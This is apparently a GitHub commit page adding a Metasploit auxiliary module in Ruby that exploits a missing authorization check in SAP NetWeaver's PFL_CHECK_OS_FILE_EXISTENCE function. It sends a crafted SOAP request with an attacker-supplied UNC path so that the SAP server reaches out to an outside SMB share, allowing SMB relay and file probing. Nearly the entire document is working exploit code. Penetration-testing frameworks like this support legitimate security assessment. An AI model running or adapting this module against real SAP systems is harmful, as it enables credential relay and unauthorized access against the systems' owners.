Skip to content

Commit 01ee30e

Browse files
committed
PFL_CHECK_OS_FILE_EXISTENCE (file existence and SMB relay)
1 parent dfcce01 commit 01ee30e

File tree

1 file changed

+93
-0
lines changed

1 file changed

+93
-0
lines changed
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'PFL_CHECK_OS_FILE_EXISTENCE (file existence and SMB relay)',
35+
'Description' => %q{
36+
This module exploits the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE Missing Authorization Check and SMB Relay Vulnerability.
37+
It can be exploited remotely using RFC or webrfc without any additional autorisation by the user.
38+
Additionally it can be exploited via transaction SE37.
39+
SAP Note 1591146 / DSECRG-12-009.
40+
},
41+
'References' => [['URL','http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/']],
42+
'Author' => ['nmonkee'],
43+
'License' => MSF_LICENSE
44+
)
45+
46+
register_options([
47+
OptString.new('CLIENT', [true, 'SAP client', nil]),
48+
OptString.new('USER', [true, 'Username', nil]),
49+
OptString.new('PASS', [true, 'Password', nil]),
50+
OptString.new('PATH',[true,'File path (e.g. \\\\xx.xx.xx.xx\\share)',nil])
51+
], self.class)
52+
end
53+
54+
def run_host(ip)
55+
data = '<?xml version="1.0" encoding="utf-8" ?>'
56+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
57+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
58+
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
59+
data << '<SOAP-ENV:Header/>'
60+
data << '<SOAP-ENV:Body>'
61+
data << '<PFL_CHECK_OS_FILE_EXISTENCE xmlns="urn:sap-com:document:sap:rfc:functions">'
62+
data << '<FULLY_QUALIFIED_FILENAME></FULLY_QUALIFIED_FILENAME>'
63+
data << '<LONG_FILENAME>' + datastore['PATH'] + '</LONG_FILENAME>'
64+
data << '</PFL_CHECK_OS_FILE_EXISTENCE>'
65+
data << '</SOAP-ENV:Body>'
66+
data << '</SOAP-ENV:Envelope>'
67+
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
68+
begin
69+
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
70+
res = send_request_raw({
71+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
72+
'method' => 'POST',
73+
'data' => data,
74+
'headers' =>{
75+
'Content-Length' => data.size.to_s,
76+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
77+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
78+
'Authorization' => 'Basic ' + user_pass,
79+
'Content-Type' => 'text/xml; charset=UTF-8',}
80+
}, 45)
81+
if res
82+
if datastore['VERBOSE'] == true
83+
print_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
84+
print_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
85+
print_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
86+
end
87+
end
88+
rescue ::Rex::ConnectionError
89+
print_error("#{rhost}:#{rport} - Unable to connect")
90+
return
91+
end
92+
end
93+
end

0 commit comments

Comments
 (0)